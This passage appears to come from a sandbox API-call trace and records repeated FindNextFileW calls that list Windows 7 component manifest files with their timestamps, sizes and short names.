lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6b453f, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd6b453f, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..erver-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_48bf9b7b0a3bb54d.manifest", cAlternateFileName="AM3A9D~1.MAN")) returned 1 [0186.944] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa19fbfb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..essionale.resources_31bf3856ad364e35_6.1.7600.16385_en-us_49c9bb4fcaa13f19.manifest", cAlternateFileName="AM9C02~1.MAN")) returned 1 [0186.945] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92908fe, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92908fe, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..essionale.resources_31bf3856ad364e35_6.1.7601.17514_en-us_761d8f95399916f8.manifest", cAlternateFileName="AM7587~1.MAN")) returned 1 [0186.948] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa12d3d0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa12d3d0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..essionale.resources_31bf3856ad364e35_6.1.7601.17514_en-us_c91b524799c6ec52.manifest", cAlternateFileName="AMAB4F~1.MAN")) returned 1 [0186.948] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa107117, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa107117, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..essionaln.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1d470ceb8c4a0ba8.manifest", cAlternateFileName="AM2062~1.MAN")) returned 1 [0186.949] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9303129, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf9303129, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..essionaln.resources_31bf3856ad364e35_6.1.7601.17514_en-us_8a074a396aa9e5f1.manifest", cAlternateFileName="AMD2D7~1.MAN")) returned 1 [0186.950] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa19fbfb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..essionaln.resources_31bf3856ad364e35_6.1.7601.17514_en-us_dd050cebcad7bb4b.manifest", cAlternateFileName="AM50F6~1.MAN")) returned 1 [0186.951] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabddba49, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fd7a5e4, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..fault-professionale_31bf3856ad364e35_6.1.7600.16385_none_3d6463db51021cdd.manifest", cAlternateFileName="AM839C~1.MAN")) returned 1 [0186.955] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac177816, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fda0741, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..fault-professionaln_31bf3856ad364e35_6.1.7600.16385_none_3d6d667550fa00ec.manifest", cAlternateFileName="AM053C~1.MAN")) returned 1 [0186.958] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa179942, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..fessional.resources_31bf3856ad364e35_6.1.7600.16385_en-us_83a96f16be1ecf82.manifest", cAlternateFileName="AM9449~1.MAN")) returned 1 [0186.959] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa19fbfb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..fessional.resources_31bf3856ad364e35_6.1.7601.17514_en-us_524aef45cc8b8229.manifest", cAlternateFileName="AM1EEE~1.MAN")) returned 1 [0186.961] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1ec16d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1ec16d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..fessional.resources_31bf3856ad364e35_6.1.7601.17514_en-us_fd763985ec2c2ae9.manifest", cAlternateFileName="AM3517~1.MAN")) returned 1 [0186.963] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92908fe, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92908fe, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..homebasic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b71e2f823ddacf22.manifest", cAlternateFileName="AM0E65~2.MAN")) returned 1 [0186.964] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92908fe, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92908fe, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..homebasic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_0cf741683187a097.manifest", cAlternateFileName="AM854A~1.MAN")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf921e0d3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf921e0d3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..homebasic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_9ab5b3b70c426c71.manifest", cAlternateFileName="AMF47C~1.MAN")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f999419, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x4f999419, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x4f9bf579, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1b7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..istry-support-tcpip_31bf3856ad364e35_6.1.7601.17514_none_e4433b761c0c84cd.manifest", cAlternateFileName="AMBE3F~1.MAN")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c5eb4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1c5eb4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..l-starter.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8027a962d89e807a.manifest", cAlternateFileName="AM5770~1.MAN")) returned 1 [0186.984] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b250d7, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4b250d7, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..lperclass.resources_31bf3856ad364e35_6.1.7600.16385_en-us_99b742cd983bba61.manifest", cAlternateFileName="AMC97A~1.MAN")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa153689, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa153689, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..m-starter.resources_31bf3856ad364e35_6.1.7601.17514_en-us_8f53ccf1a75d5585.manifest", cAlternateFileName="AM09D6~1.MAN")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa153689, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa153689, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..mepremium.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9777f183a374ccf1.manifest", cAlternateFileName="AM075F~1.MAN")) returned 1 [0186.991] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa179942, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..mepremium.resources_31bf3856ad364e35_6.1.7601.17514_en-us_540dcf6ac28b9cb4.manifest", cAlternateFileName="AM8C1E~1.MAN")) returned 1 [0186.992] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa179942, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..mepremium.resources_31bf3856ad364e35_6.1.7601.17514_en-us_7cb9d6b0c095b208.manifest", cAlternateFileName="AM992F~2.MAN")) returned 1 [0186.993] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55a330a, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b311a8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x501327f9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nse-default-starter_31bf3856ad364e35_6.1.7600.16385_none_e5c8e2af41ab5988.manifest", cAlternateFileName="AM1230~1.MAN")) returned 1 [0186.994] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9e8788, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b7d640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5798d6de, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nse-eval-enterprise_31bf3856ad364e35_6.1.7600.16385_none_21274d7b79b6d0af.manifest", cAlternateFileName="AM85E1~1.MAN")) returned 1 [0186.998] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883cef46, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b7d640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x579d9998, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nse-eval-homebasice_31bf3856ad364e35_6.1.7600.16385_none_8296e2668289cc8a.manifest", cAlternateFileName="AM5592~1.MAN")) returned 1 [0186.998] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8647a6, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b7d640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x579d9998, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nse-eval-homebasicn_31bf3856ad364e35_6.1.7600.16385_none_8694a3047ff8f549.manifest", cAlternateFileName="AM5C66~1.MAN")) returned 1 [0186.998] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7233904c, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19befd24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e29e38d, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nse-oem-enterprisee_31bf3856ad364e35_6.1.7600.16385_none_f2c5ab32ecf9f2f9.manifest", cAlternateFileName="AM8F91~1.MAN")) returned 1 [0186.999] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x940cd4c8, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19befd24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e2c44ea, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nse-oem-enterprisen_31bf3856ad364e35_6.1.7600.16385_none_f6c36bd0ea691bb8.manifest", cAlternateFileName="AMCB59~1.MAN")) returned 1 [0186.999] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9040c2c, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e3107a4, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nse-oem-homepremium_31bf3856ad364e35_6.1.7600.16385_none_0586ee5dd15f679b.manifest", cAlternateFileName="AM71E5~1.MAN")) returned 1 [0186.999] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe71efcb, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x538641c0, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nt-default-lpksetup_31bf3856ad364e35_6.1.7600.16385_none_ddd27016cef60c47.manifest", cAlternateFileName="AMDA2B~1.MAN")) returned 1 [0186.999] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa19fbfb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nterprise.resources_31bf3856ad364e35_6.1.7601.17514_en-us_75584897d00dd323.manifest", cAlternateFileName="AM4408~1.MAN")) returned 1 [0187.000] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa12d3d0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa12d3d0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nterprise.resources_31bf3856ad364e35_6.1.7601.17514_en-us_8618b2759ddf665b.manifest", cAlternateFileName="AM70B9~1.MAN")) returned 1 [0187.000] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa212426, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa212426, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..nterprise.resources_31bf3856ad364e35_6.1.7601.17514_en-us_ba8c4fe6f153aee6.manifest", cAlternateFileName="AMAB1F~1.MAN")) returned 1 [0187.000] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92908fe, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92908fe, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..omebasice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0acb6c5935e40029.manifest", cAlternateFileName="AM8CD8~1.MAN")) returned 1 [0187.000] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa12d3d0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa12d3d0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..omebasice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9121d730a12855c4.manifest", cAlternateFileName="AM88A5~1.MAN")) returned 1 [0187.001] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9303129, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf9303129, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..omebasice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a47b34406ef9e8fc.manifest", cAlternateFileName="AM82A2~1.MAN")) returned 1 [0187.001] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92dce70, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92dce70, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..omebasicn.resources_31bf3856ad364e35_6.1.7600.16385_en-us_649f28cc62d12253.manifest", cAlternateFileName="AM699E~2.MAN")) returned 1 [0187.001] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa179942, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..omebasicn.resources_31bf3856ad364e35_6.1.7600.16385_en-us_71625f48bc357cf2.manifest", cAlternateFileName="AM0747~1.MAN")) returned 1 [0187.002] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf926a645, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf926a645, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, 